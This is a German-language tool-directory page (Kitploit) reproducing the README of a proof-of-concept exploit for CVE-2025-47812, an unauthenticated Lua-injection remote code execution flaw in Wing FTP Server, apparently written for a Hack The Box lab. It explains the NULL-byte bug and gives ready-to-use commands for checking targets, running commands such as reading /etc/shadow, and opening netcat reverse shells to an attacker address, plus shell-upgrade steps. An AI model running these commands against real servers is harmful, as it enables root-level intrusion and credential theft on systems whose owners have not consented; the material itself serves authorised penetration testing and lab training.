Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-47812 — CVE-2025-47812 Poc für wingdata HTB | Kitploit
Tools/GitHubGitHub/0xs4n4tg/cve-2025-47812
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed TeamingPayload-Entwicklung
GitHub0xs4n4tg/cve-2025-47812

CVE-2025-47812

CVE-2025-47812 Poc für wingdata HTB

Repository anzeigen
vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-47812 — Wing FTP Server Unauth RCE (Neufassung)

Python-Exploit für die unauthentifizierte Lua-Injection RCE in Wing FTP Server ≤ 7.4.3. Entwickelt für Shell-Zustellung — ein Befehl von check zu einem funktionierenden Netcat-Callback.

Vor einiger Zeit für das wingData-Labor auf HTB geschrieben und jetzt quelloffen gemacht. Verwenden Sie dies nur gegen Systeme, die Ihnen gehören oder für die Sie eine schriftliche Erlaubnis zum Testen haben.

Danksagungen

  • Sicherheitsforschung: Julien (@MrTuxracer) — What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
  • Ursprünglicher PoC: @4m3rr0r — github.com/4m3rr0r/CVE-2025-47812-poc
  • Dieses Repository: eine Neufassung des obigen PoC, die etwas funktionaler und einfacher zu bedienen ist.

Schwachstellenübersicht

Wing FTPs c_CheckUser() kürzt den username beim ersten NULL-Byte für die Authentifizierung ab, aber der Sitzungserstellungspfad schreibt den vollständigen, unbereinigten Benutzernamen in eine Lua-Sitzungsdatei. Injizieren Sie anonymous%00]]<lua>-- und der Server schreibt Ihre Lua bereitwillig in die Sitzung. Das Aufrufen eines beliebigen authentifizierten Endpunkts (dir.html funktioniert) lädt diese Sitzungsdatei via loadfile() → f(), wodurch der injizierte Code als root / SYSTEM ausgeführt wird.

Betroffen: Wing FTP Server ≤ 7.4.3. Behoben in 7.4.4.

Install

root@kitploit:~
pip install requests

Das war's — keine weiteren Abhängigkeiten.

Usage

root@kitploit:~
# 1. Confirm the target is vulnerable (runs `id` and checks for `uid=`)
python3 exploit.py -u http://target:5466/ check

# 2. One-off command — captures stdout AND stderr
python3 exploit.py -u http://target:5466/ exec "id"
python3 exploit.py -u http://target:5466/ exec "cat /etc/shadow"
python3 exploit.py -u http://target:5466/ exec "find / -perm -4000 2>/dev/null"

# 3. Reverse shell (the easy path)
#    Terminal 1:
nc -lvnp 4444
#    Terminal 2:
python3 exploit.py -u http://target:5466/ shell 10.10.14.5 4444

# 4. Detached arbitrary payload — fire-and-forget. Useful when bash is missing:
python3 exploit.py -u http://target:5466/ detached \
  "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f"

Flags

Tipps

  • Überprüfen Sie zuerst den Port. Die Weboberfläche liegt nicht standardmäßig auf 80 — versuchen Sie http://target:5466/login.html in einem Browser, bevor Sie annehmen, die URL sei falsch.
  • Falls der shell-Modus keinen Callback liefert, weichen Sie auf detached mit dem obigen mkfifo-Payload aus. Manche minimale Linux-Images enthalten kein bash.
  • Verbessern Sie die eingefangene Shell nach dem Eintreffen:
    root@kitploit:~
    python3 -c 'import pty;pty.spawn("/bin/bash")'
    # Strg+Z
    stty raw -echo; fg
    # Enter, Enter
    export TERM=xterm
    

Haftungsausschluss

Nur für Bildungszwecke und autorisierte Sicherheitstests. Sie sind für die Ziele verantwortlich, auf die Sie dies richten.

Lizenz

MIT — siehe LICENSE.

Tool herunterladen
FlagStandardZweck
-u, --urlerforderlichZiel-Basis-URL — Wing FTP hört normalerweise auf :5466 (HTTP) oder :5467 (HTTPS).
-U, --usernameanonymBenutzername vor dem NULL-Byte. Anonym funktioniert bei Standardinstallationen.
-P, --passwordleerPasswort für den Injection-POST. Leer ist für anonym in Ordnung.
-v, --verboseausGibt das Lua-Payload, besuchte URLs und den rohen Antwortbody aus.